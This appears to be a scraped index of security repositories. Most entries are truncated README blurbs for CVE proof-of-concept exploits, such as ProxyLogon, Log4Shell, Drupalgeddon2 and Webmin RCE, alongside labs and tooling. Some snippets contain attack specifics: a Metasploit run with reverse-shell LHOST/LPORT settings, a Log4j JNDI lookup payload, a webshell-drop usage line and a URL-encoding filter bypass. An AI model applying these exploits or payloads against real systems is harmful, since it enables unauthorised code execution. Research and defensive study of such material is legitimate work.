opendcim-exploit

openDCIM - SQLi to RCE via Config Poisoning Remote code execution chain targeting openDCIM's install.php LDAP configuration form. Built on the VulnCheck go-exploit framework. Vulnerability Chain | CVE| CWE| Description ---|---|---|--- 1| CVE-2026-28515| CWE-862| install.php performs no role check...

CVE-2025-48384-poc

CVE-2025-48384-poc CVE-2025-48384 takes the form of an improper link resolution link following vulnerability in git. Specifically, filenames with carriage returns are improperly parsed in .git/config, and including a symlink to point a git hook executable located in a submodule as the submodule...

CVE-2014-6287

CVE-2014-6287 - Rejetto HTTP File Server RCE Exploit A Rust implementation of the CVE-2014-6287 exploit targeting Rejetto HTTP File Server HFS versions 2.3x before 2.3c. Vulnerability Overview CVE-2014-6287 is a critical remote code execution vulnerability in Rejetto HTTP File Server HFS. Technic...

CVE-2023-46818

Metasploit-module Metasploit Module use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language fi...

DocViewerExploitApp

DocViewerExploit App - CVE-2021-40724 This is the source code to exploiting the Document Viewer by MobileHackingLab. About the Vulnerable App This is an exploit app for the MobileHackingLab DocumentViewer Abdroid App Dynamic Code Loading RCE challenge. This challenge emulates CVE-2021-40724...

CVE-2025-6220

Ultimate Addons for Contact Form 7 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - Unauthenticated Arbitrary File Write via Chunked Upload Init/Finalize Ordering CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — Unauthenticated Arbitrary File Write via Chunked Upload Proof-of-Concept Exploit Chunked Upload Init/Finalize Ordering → Predictable Path...

DrupalCVE-2018-7602

Drupal Remote Code Execution Vulnerability CVE-2018-7602 Affected software: drupal Method: Encode the in the URL twice to bypass the sanitize function filtering Effect: Arbitrary command execution Vulnerability Environment Execute the following command to start the drupal 7.57 environment:...

ProxyLogon

ProxyLogon Original PoC: https://github.com/testanull How to use: python proxylogon.py Example: python proxylogon.py primary [email protected] If successful you will be dropped into a webshell. exit or quit to escape from the webshell or ctrl+c By default, it will create a file test.aspx. Th...

CVE-2024-22243

CVE-2024-22243 Code used from @SeanPesce...

CVE-2026-3854-lab

Flagship Lab 001: From Git Push Options to RCE A local Learning Lab and Research Lab inspired by the publicly documented vulnerability concepts behind CVE-2026-3854. Both experiences use real authenticated Git pushes against ForgeDock, a fictional Git server; the Research Lab. !CAUTION This proje...

CVE-2019-15107-Webmin-RCE-PoC

CVE-2019-15107 Webmin RCE PoC A Python proof-of-concept exploit for CVE-2019-15107 - an unauthenticated remote code execution vulnerability in Webmin versions 1.890 through 1.920. Description This vulnerability exists in the /passwordchange.cgi endpoint of Webmin and allows unauthenticated...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j Remote Code Execution） all log4j-core versions =2.0-beta9 and Do not rely on a current Java version to save you. Update Log4 or remove the JNDI lookup. Disable the expansion seems a pretty bad idea anyways. Bypass rc1 For example: $jndi:ldap://127.0.0.1:1389/ badClassNa...

Drupalgeddon2

CVE-2018-7600 | Drupal 7.58 / 8.3.9 / 8.4.6 / 8.5.1 - 'Drupalgeddon2' RCE SA-CORE-2018-002 Inspired from https://github.com/dreadlocked/Drupalgeddon2 Supports: Drupal 8.3.9 / 8.4.6 / 8.5.1 user/register URL, attacking account/mail & postrender parameter, using PHP's passthru function Pending Yet ...

LayarKacaSiber-CVE-2021-41773

CVE-2021-41773 - Apache HTTP Server 2.4.49 How to Run the CVE-2021-41773-Path Traversal Lab 1. Install and run Docker on your PC/Laptop 2. Clone this GitHub repo 3. Go to the Path Traversal folder 4. Run the following commands docker build -t cve-2021-41773-path-traversal . and docker run --rm -d...

idaguides

IDA Guides Small plugin for IDA that adds indent guides to the decompiler view. Installation 1. Clone or download this repository 2. Extract it's contents to your IDA plugins directory 3. Restart IDA Tested With IDA 9.2, 9.3...

katana

Katana A BootROM exploit for Qualcomm devices released within 2016 til 2019. Brief Explanation of the Exploit With the MSM8998 Nazgul SoC, the command 0x13 SAHARARESETSTATEMACHINEID was added. The command called into bootsaharaentry, which is supposed to reinitialize Sahara. The flaw is that each...

thrunt-god

From signal, to swarm. No gods. Only Thrunt. Threat hunting command system for agentic IDEs. Claude Code · OpenCode · Gemini · Codex · Copilot · Cursor · Windsurf /thrunt:autonomous | one command, full hunt Install · Phases · Commands · Flows · Artifacts Installation npx thrunt-god@latest --claud...

WebSocketTurboIntruder

WebSocket Turbo Intruder An extension for fuzzing WebSocket messages using custom Python code. Usage Intruder tool 1. Right-click on a WebSocket message and navigate to Extensions WebSocket Turbo Intruder Send to WebSocket Turbo Intruder. If you highlight a portion of the message before sending,...

CVE-2020-3956

CVE-2020-3956 PoC exploit for VMware Cloud Director RCE CVE-2020-3956 Technical advisory is available here: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/...